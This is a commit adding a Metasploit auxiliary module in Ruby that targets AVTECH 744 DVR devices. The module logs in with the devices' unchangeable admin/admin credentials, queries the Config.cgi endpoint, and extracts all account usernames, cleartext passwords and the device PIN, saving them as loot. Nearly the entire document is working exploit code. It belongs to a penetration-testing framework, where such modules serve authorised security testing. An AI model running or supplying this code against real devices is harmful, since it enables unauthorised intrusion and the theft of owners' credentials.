Land rapid7#5402, @nstarke's module to extract accouns information from a AVTECH744_DVR device

Author: jvazquez-r7

modules/auxiliary/gather/avtech744_dvr_accounts.rb

@@ -0,0 +1,110 @@
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'AVTECH 744 DVR Account Information Retrieval',
+      'Description'    => %q{
+        This module will extract the accounts information from the AVTECH 744 DVR devices,
+        including all the usernames and cleartext passwords plus the device PIN, along with
+        a few other miscellaneous details. In order to extract the information, hardcoded
+        credentials admin/admin are used. These credentials can't be changed from the device
+        console UI neither the web UI.
+      },
+      'Author'         => [ 'nstarke' ],
+      'License'        => MSF_LICENSE
+    ))
+  end
+
+
+  def run
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => '/cgi-bin/user/Config.cgi',
+      'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
+      'vars_post' => {
+        'action' => 'get',
+        'category' => 'Account.*'
+      }
+    })
+
+    unless res
+      fail_with(Failure::Unreachable, 'No response received from the target')
+    end
+
+    unless res.code == 200
+      fail_with(Failure::Unknown, 'An unknown error occured')
+    end
+
+    raw_collection = extract_data(res.body)
+    extract_creds(raw_collection)
+
+    p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
+    print_good("avtech744.dvr.accounts stored in #{p}")
+  end
+
+  def extract_data(body)
+    raw_collection = []
+    body.each_line do |line|
+      key, value = line.split('=')
+      if key && value
+        _, second, third = key.split('.')
+        if third
+          index = second.slice(second.length - 1).to_i
+          raw_collection[index] = raw_collection[index] ||= {}
+          case third
+          when 'Username'
+            raw_collection[index][:username] = value.strip!
+          when 'Password'
+            raw_collection[index][:password] = value.strip!
+          end
+        elsif second.include?('Password')
+          print_good("PIN Retrieved: #{key} - #{value.strip!}")
+        end
+      end
+    end
+
+    raw_collection
+  end
+
+  def extract_creds(raw_collection)
+    raw_collection.each do |raw|
+      unless raw
+        next
+      end
+
+      service_data = {
+        address: rhost,
+        port: rport,
+        service_name: 'http',
+        protocol: 'tcp',
+        workspace_id: myworkspace_id
+      }
+
+      credential_data = {
+        module_fullname: self.fullname,
+        origin_type: :service,
+        private_data: raw[:password],
+        private_type: :password,
+        username: raw[:username]
+      }
+
+      credential_data.merge!(service_data)
+
+      credential_core = create_credential(credential_data)
+
+      login_data = {
+        core: credential_core,
+        status: Metasploit::Model::Login::Status::UNTRIED
+      }
+
+      login_data.merge!(service_data)
+
+      create_credential_login(login_data)
+    end
+  end
+end